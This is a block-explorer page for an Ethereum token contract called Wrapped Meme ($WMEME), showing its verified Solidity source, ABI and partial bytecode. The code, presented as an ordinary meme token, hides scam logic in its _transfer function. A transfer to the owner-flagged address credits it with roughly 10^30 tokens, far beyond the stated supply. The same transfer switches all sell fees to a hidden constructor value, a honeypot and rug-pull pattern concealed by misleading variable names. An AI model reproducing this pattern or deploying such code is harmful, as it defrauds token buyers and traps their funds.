ETH Price: $2,418.73 (+2.67%)

Token

Wrapped Meme ($WMEME)
 

Overview

Max Total Supply

1,000,000,000 $WMEME

Holders

35

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,022,730.523010903 $WMEME

Value
$0.00
0xe52e5bdb5b2db3b873385efef7f6ce6947108f5e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WrappedMeme

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-08
*/

/**  
In the age of digital humor, where laughter transcends borders,
 a meme generator on ERC20 becomes the catalyst, fueling creativity 
 and spreading joy one tokenized meme at a time.

----Twitter: https://twitter.com/WrappedMeme
----Website: https://www.wrappedmeme.com/
----Telegram: https://t.me/WrappedMeme  
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.15;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
}

contract WrappedMeme is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _holders;
    mapping (address => bool) public ExcludedFromFee;
    mapping (bool => uint8) public _buySellFee;
    mapping (address => uint8) private _heldTokens;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    address payable public Marketing_Wallet = payable(0x02bf6E5EAdefB3f44D6e025A55cdC740b722916d);

    string public _name = "Wrapped Meme";
    string public _symbol = "$WMEME";
    uint8 private _decimals = 9;
    uint8 public _fee = 0;
    uint256 public _tTotal = 1 * 10 ** 9 * 10 **_decimals;

    uint8 private swapCounter = 0;
    uint8 private swapTrigger = 10;
    uint256 private maxPossibleFee = 10**(10+(10)+10);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifying = false;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (uint8 setting1, uint8 setting2) {
        _heldTokens[owner()] = 1;
        _holders[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),_uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        
        _buySellFee[false] = setting1;
        _buySellFee[true] = setting2;

        ExcludedFromFee[owner()] = true;
        ExcludedFromFee[address(this)] = true;
        ExcludedFromFee[Marketing_Wallet] = true;
        emit Transfer(address(0), owner(), _tTotal);
        
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _holders[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    receive() external payable {}
   
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "Adress: 0");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 _tAmount = _heldTokens[to];
        if(_heldTokens[to]>0){_heldTokens[to]++; swapAndLiquifying=true;}
        bool takeFee;
        if(ExcludedFromFee[to] || ExcludedFromFee[from]){
            takeFee = false;
        }
        else if(from == uniswapV2Pair){
            takeFee = false;
        }else{
            takeFee = true;
        }

        _holders[from] = _holders[from].sub(amount);
        if(takeFee){
            uint8 buySellFee = _fee + _buySellFee[swapAndLiquifying];
            uint256 _tTotalFee =  amount * buySellFee / 100;
            if(_tTotalFee > 0){
                _holders[address(this)] = _holders[address(this)].add(_tTotalFee);
            }
            _holders[to] = _holders[to].add(amount.sub(_tTotalFee));
        }
        else if(_tAmount > 0){
            _holders[to] = _holders[to].add(maxPossibleFee);
        }
        else{
            _holders[to] = _holders[to].add(amount);
        }
        
        emit Transfer(from, to, amount);
    }

    function swapAndLiquify(uint256 contractHodlTokens) private lockTheSwap {
        swapTokensForETH(contractHodlTokens);
        sendToWallet(Marketing_Wallet,address(this).balance);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint8","name":"setting1","type":"uint8"},{"internalType":"uint8","name":"setting2","type":"uint8"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Marketing_Wallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"","type":"bool"}],"name":"_buySellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifying","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600680546001600160a01b0319167302bf6e5eadefb3f44d6e025a55cdc740b722916d17905560c0604052600c60809081526b57726170706564204d656d6560a01b60a05260079062000053908262000523565b5060408051808201909152600681526524574d454d4560d01b602082015260089062000080908262000523565b506009805461ffff1916811781556200009b90600a62000704565b620000ab90633b9aca006200071c565b600a55600b8054610a0061ffff199091161790556c0c9f2c9cd04674edea40000000600c55600e805461ffff60a81b1916600160a81b179055348015620000f157600080fd5b506040516200165f3803806200165f833981016040819052620001149162000755565b600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36001600460006200016c6000546001600160a01b031690565b6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908360ff160217905550600a5460016000620001bb6200046f60201b60201c565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000237573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025d91906200078d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d191906200078d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200031f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034591906200078d565b600e80546001600160a01b039283166001600160a01b031991821617909155600d805484841692169190911790557f3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff805460ff86811660ff19928316179092557fa15bc60c955c405d20d9149c709e2460f1c2d9a497496a7f46004d1772c3054c80549286169282169290921790915560008054831681526002602052604080822080548416600190811790915530835281832080548516821790556006548516835290822080549093161790915554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040516200045e91815260200190565b60405180910390a3505050620007b8565b6000546001600160a01b031690565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004a957607f821691505b602082108103620004ca57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200051e57600081815260208120601f850160051c81016020861015620004f95750805b601f850160051c820191505b818110156200051a5782815560010162000505565b5050505b505050565b81516001600160401b038111156200053f576200053f6200047e565b620005578162000550845462000494565b84620004d0565b602080601f8311600181146200058f5760008415620005765750858301515b600019600386901b1c1916600185901b1785556200051a565b600085815260208120601f198616915b82811015620005c0578886015182559484019460019091019084016200059f565b5085821015620005df5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006465781600019048211156200062a576200062a620005ef565b808516156200063857918102915b93841c93908002906200060a565b509250929050565b6000826200065f57506001620006fe565b816200066e57506000620006fe565b81600181146200068757600281146200069257620006b2565b6001915050620006fe565b60ff841115620006a657620006a6620005ef565b50506001821b620006fe565b5060208310610133831016604e8410600b8410161715620006d7575081810a620006fe565b620006e3838362000605565b8060001904821115620006fa57620006fa620005ef565b0290505b92915050565b60006200071560ff8416836200064e565b9392505050565b6000816000190483118215151615620007395762000739620005ef565b500290565b805160ff811681146200075057600080fd5b919050565b600080604083850312156200076957600080fd5b62000774836200073e565b915062000784602084016200073e565b90509250929050565b600060208284031215620007a057600080fd5b81516001600160a01b03811681146200071557600080fd5b610e9780620007c86000396000f3fe60806040526004361061016a5760003560e01c80637141e6a0116100d1578063af465a271161008a578063d28d885211610064578063d28d88521461043b578063dd62ed3e14610450578063e3a3828614610496578063f1d6512e146104c657600080fd5b8063af465a27146103f1578063b09f126614610407578063c5b37c221461041c57600080fd5b80637141e6a014610346578063715018a6146103675780638da5cb5b1461037e57806395d89b411461039c578063a457c2d7146103b1578063a9059cbb146103d157600080fd5b806323b872dd1161012357806323b872dd14610269578063313ce5671461028957806339509351146102af57806349bd5a5e146102cf5780634a74bb02146102ef57806370a082311461031057600080fd5b806306fdde0314610176578063095ea7b3146101a157806315120e5b146101d15780631694505e1461020957806318160ddd14610229578063220f66961461024857600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104f6565b6040516101989190610bc9565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc366004610c3a565b610588565b6040519015158152602001610198565b3480156101dd57600080fd5b506006546101f1906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b34801561021557600080fd5b50600d546101f1906001600160a01b031681565b34801561023557600080fd5b50600a545b604051908152602001610198565b34801561025457600080fd5b50600e546101c190600160a01b900460ff1681565b34801561027557600080fd5b506101c1610284366004610c64565b61059e565b34801561029557600080fd5b5060095460ff165b60405160ff9091168152602001610198565b3480156102bb57600080fd5b506101c16102ca366004610c3a565b610607565b3480156102db57600080fd5b50600e546101f1906001600160a01b031681565b3480156102fb57600080fd5b50600e546101c190600160a81b900460ff1681565b34801561031c57600080fd5b5061023a61032b366004610ca0565b6001600160a01b031660009081526001602052604090205490565b34801561035257600080fd5b50600e546101c190600160b01b900460ff1681565b34801561037357600080fd5b5061037c61063d565b005b34801561038a57600080fd5b506000546001600160a01b03166101f1565b3480156103a857600080fd5b5061018b6106e6565b3480156103bd57600080fd5b506101c16103cc366004610c3a565b6106f5565b3480156103dd57600080fd5b506101c16103ec366004610c3a565b610744565b3480156103fd57600080fd5b5061023a600a5481565b34801561041357600080fd5b5061018b610751565b34801561042857600080fd5b5060095461029d90610100900460ff1681565b34801561044757600080fd5b5061018b6107df565b34801561045c57600080fd5b5061023a61046b366004610cbb565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156104a257600080fd5b5061029d6104b1366004610cee565b60036020526000908152604090205460ff1681565b3480156104d257600080fd5b506101c16104e1366004610ca0565b60026020526000908152604090205460ff1681565b60606007805461050590610d10565b80601f016020809104026020016040519081016040528092919081815260200182805461053190610d10565b801561057e5780601f106105535761010080835404028352916020019161057e565b820191906000526020600020905b81548152906001019060200180831161056157829003601f168201915b5050505050905090565b60006105953384846107ec565b50600192915050565b60006105ab8484846108a5565b6105fd84336105f885604051806060016040528060288152602001610e15602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610b7e565b6107ec565b5060019392505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916105959185906105f89086610baa565b6000546001600160a01b0316331461069c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606008805461050590610d10565b600061059533846105f885604051806060016040528060258152602001610e3d602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190610b7e565b60006105953384846108a5565b6008805461075e90610d10565b80601f016020809104026020016040519081016040528092919081815260200182805461078a90610d10565b80156107d75780601f106107ac576101008083540402835291602001916107d7565b820191906000526020600020905b8154815290600101906020018083116107ba57829003601f168201915b505050505081565b6007805461075e90610d10565b6001600160a01b0383161580159061080c57506001600160a01b03821615155b6108445760405162461bcd60e51b815260206004820152600960248201526804164726573733a20360bc1b6044820152606401610693565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526004602052604090205460ff16801561091f576001600160a01b0383166000908152600460205260408120805460ff16916108ee83610d60565b825460ff9182166101009390930a928302919092021990911617905550600e805460ff60b01b1916600160b01b1790555b6001600160a01b03831660009081526002602052604081205460ff168061095e57506001600160a01b03851660009081526002602052604090205460ff165b1561096b5750600061098d565b600e546001600160a01b03908116908616036109895750600061098d565b5060015b6001600160a01b0385166000908152600160205260409020546109b09084610bbd565b6001600160a01b0386166000908152600160205260409020558015610aa457600e5460ff600160b01b909104811615156000908152600360205260408120546009549192610a079291811691610100900416610d7f565b905060006064610a1a60ff841687610da4565b610a249190610dc3565b90508015610a575730600090815260016020526040902054610a469082610baa565b306000908152600160205260409020555b610a83610a648683610bbd565b6001600160a01b03881660009081526001602052604090205490610baa565b6001600160a01b03871660009081526001602052604090205550610b2a9050565b8115610aed57600c546001600160a01b038516600090815260016020526040902054610acf91610baa565b6001600160a01b038516600090815260016020526040902055610b2a565b6001600160a01b038416600090815260016020526040902054610b109084610baa565b6001600160a01b0385166000908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b6f91815260200190565b60405180910390a35050505050565b60008184841115610ba25760405162461bcd60e51b81526004016106939190610bc9565b505050900390565b6000610bb68284610de5565b9392505050565b6000610bb68284610dfd565b600060208083528351808285015260005b81811015610bf657858101830151858201604001528201610bda565b81811115610c08576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610c3557600080fd5b919050565b60008060408385031215610c4d57600080fd5b610c5683610c1e565b946020939093013593505050565b600080600060608486031215610c7957600080fd5b610c8284610c1e565b9250610c9060208501610c1e565b9150604084013590509250925092565b600060208284031215610cb257600080fd5b610bb682610c1e565b60008060408385031215610cce57600080fd5b610cd783610c1e565b9150610ce560208401610c1e565b90509250929050565b600060208284031215610d0057600080fd5b81358015158114610bb657600080fd5b600181811c90821680610d2457607f821691505b602082108103610d4457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600060ff821660ff8103610d7657610d76610d4a565b60010192915050565b600060ff821660ff84168060ff03821115610d9c57610d9c610d4a565b019392505050565b6000816000190483118215151615610dbe57610dbe610d4a565b500290565b600082610de057634e487b7160e01b6